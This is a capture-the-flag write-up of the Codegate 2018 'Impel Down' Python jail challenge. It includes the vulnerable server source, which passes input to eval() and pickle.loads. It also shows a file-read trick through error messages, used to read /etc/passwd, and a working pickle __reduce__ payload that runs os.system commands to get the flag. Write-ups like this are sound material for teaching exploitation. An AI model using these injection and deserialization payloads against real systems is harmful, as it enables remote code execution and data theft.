[Codegate CTF 2018] Impel Down – Misc

#Meepwn CTF Team

Challenge:

nc ch41l3ng3s.codegate.kr 2014

Solved by:

@tinduong & @tsug0d

Writeup:
Another pyjail challenge, its interesting, we nc to the server, the challenge begin:
begin

Fuzzing around, we got the bug in the days section:
bug

Our input will be passed to eval() in python, what can we do with this? We stuck for short time, then we decide to gather information in error section
error1

dig() takes exactly 1 argument (2 given) ? Hmm, Because it is dig(), not dig(‘abc’). So why wont we open it again, and take the content as error message?

error2
lol, cool, we can read ‘/etc/passwd’ from the server, ez, now read the flag…oh wait…. but where is the flag O_O. We lost…

Nah, Why won’t we read the source code? just replace /etc/passwd to Impel_Down.py

filter
Hmm, filtered… We stuck! we need to find someway.
your is interesting, we have to see what inside it.

your
IOError: [Errno 2] No such file or directory: "['__doc__', '__init__', '__module__', 'bomb', 'bomb_Perfection', 'coworker', 'coworkers', 'day', 'dig', 'dig_depth', 'name', 'tool', 'tools']"

Hmm, name, is it The name that we input :O, Eureka

Name is not filtered, so we easily obtain the source code:

source

#!/usr/bin/python -u
import sys
import signal
import pickle
from random import choice, shuffle

coworkers_list = [\'James\', \'Nami\', \'Luffy\', \'Zoro\', \'Tony\', \'Robin\', \'Franky\', \'Brook\', \'Ace\', \'Jinbe\', \'Crocodile\']
tools_list = [\'drill\', \'Knife\', \'gun\', \'spoon\', \'book\', \'lighter\']

works_list = {
\'bomb\' : "make boooooooomb!!!",
\'coworker\' : \'Find Coworker For Escape\',
\'tool\' : "Find Any Tool",
\'dig\' : "Go Deep~",
}

def menu():
    print "################## Work List ##################"
    for cmd, desc in works_list.iteritems():
        print "  %-15s : %s" %(cmd, desc)
    print "###############################################"

class Esacpe_Player:
  def __init__(self, name, day):
    self.name = name
    self.dig_depth = 0
    self.bomb_Perfection = 0
    self.tools = []
    self.coworkers = []
    self.day = day

  def dig(self):
    self.dig_depth += 1
    # never ending digging......
    print " %s : [Dig] depth = %d" %(self.name, self.dig_depth)
    return pickle.dumps(self)

  def bomb(self):
    self.bomb_Perfection += 1
    # your bomb is too powerful. so boom with u......
    print " %s : [Bomb] bomb Perfection = %d" %(self.name, self.bomb_Perfection)
    return pickle.dumps(self)

  def tool(self):
    tt = choice(tools_list)
    print " %s : [Tool] Find : %s !" %(self.name, tt)
    self.tools.append(tt)
    return pickle.dumps(self)

  def coworker(self):
    shuffle(coworkers_list)
    cw = coworkers_list.pop()
    print " %s : [Coworker] Find : %s !" %(self.name, cw)
    self.coworkers.append(cw)
    return pickle.dumps(self)

class Watcher:
  def __init__(self):
    self.name = "Magellan"
    self.dig_risk = 3
    self.bomb_risk = 10
    self.tool_risk = 5
    self.coworker_risk = 5
    self.arrest_min_point = 25

  def Behavior_analysis(self, Player):
    player_info = pickle.loads(Player)
    risk_point = (player_info.dig_depth*self.dig_risk) + (player_info.bomb_Perfection*self.bomb_risk) + (len(player_info.tools)*self.tool_risk) + (len(player_info.coworkers)*self.coworker_risk)

    if risk_point >= self.arrest_min_point:
      sys.stderr.write("you("+ player_info.name +") looks like dangerous !!!\
")
      self.Arrest()

  def Arrest(self):
    sys.stderr.write("you Arrest Again....\
")
    exit()

def handler(signum, frame):
  sys.stderr.write("Time Out....\
")
  exit()

signal.signal(signal.SIGALRM, handler)
signal.alarm(10)

print("""
                    __           
          PyJail   /__\\          
       ____________|  |          
       |_|_|_|_|_|_|  |          
       |_|_|_|_|_|_|__|          
      A@\\|_|_|_|_|_|/@@Aa        
   aaA@@@@@@@@@@@@@@@@@@@aaaA    
  A@@@@@@@@@@@@@@@@@@@@@@@@@@A   
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[!] Rule
1. After 3 day, the Light will be Turned Off then you Cannot see anything.
2. Cannot Use Some Special Characters in PyJail.
3. For 10 days, You can enter 38 characters per day.

Can You Escape from Here ??
""")

del signal
del __builtins__.input
ban_list = [\'#\', \'+\', \'-\', \'_\', \'"\']

name = raw_input(" Name : ")
your = Esacpe_Player(name, 1)
watcher = Watcher()

# FLAG is /FLAG_FILE~blahblah (this is only executable.)

while True:
  print "[day-%d] " %(your.day)
  if your.day == 4:
    # Turn off the light
    print "Turn off the Light !!"
    sys.stdout = open(\'/dev/null\', \'w\')

  menu()
  work = raw_input()
  invalid_cmd = 0
  for cmd in works_list.keys():
    if cmd in work:
      invalid_cmd = 1

  if not invalid_cmd:
    print "Invalid Work !!"
    continue

  for ww in work:
    if ww in ban_list:
      print "Found unavailable Character !!"
      exit()

  if len(work) > 38:
    print "Too Long !!"
    continue

  result = eval("your."+work+"()")
  watcher.Behavior_analysis(result)

  your.day += 1
  if your.day > 10:
    sys.stderr.write("10 days over...\
")
    exit()

Looking around, we found some interesting points:

# FLAG is /FLAG_FILE~blahblah (this is only executable.)
well, not good.

import pickle?
RCE here.

But one more challenge here is, pickle data contain newline character, it will break python input so we cannot input it directly.

Luckily, our payload has enough length.

So the plan is:
1. construct the pickle payload in hexa and input in the Name
2. unhex it, using python pickle.loads in days and make it RCE!

first we generate hexa pickle which run

ls / > /tmp/dkm

via our code (run in linux, windows not work)

import cPickle
import subprocess
import base64
import urllib
import os

class RunBinSh(object):
  def __reduce__(self):
    return (os.system, ('ls / > /tmp/dkm',))

print cPickle.dumps(RunBinSh()).encode('hex')

then we input it as name, and input dig(pickle.loads(name.decode('hex'))) in days.
ls

To confirm, we read it (remember that we can read file on server above).
oops

oops XD, flag path….

so all we have to do is editing the

ls / > /tmp/dkm

to

/FLAG_FLAG_FLAG_LOLOLOLOLOLOL > /tmp/dkm

and view the file xD

flag

G00000000d !! 🙂 \n I think you are familiar with Python !\n FLAG{Pyth0n J@il escape 1s always fun @nd exc1ting ! :)}

Advertisements

4 thoughts on “[Codegate CTF 2018] Impel Down – Misc

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s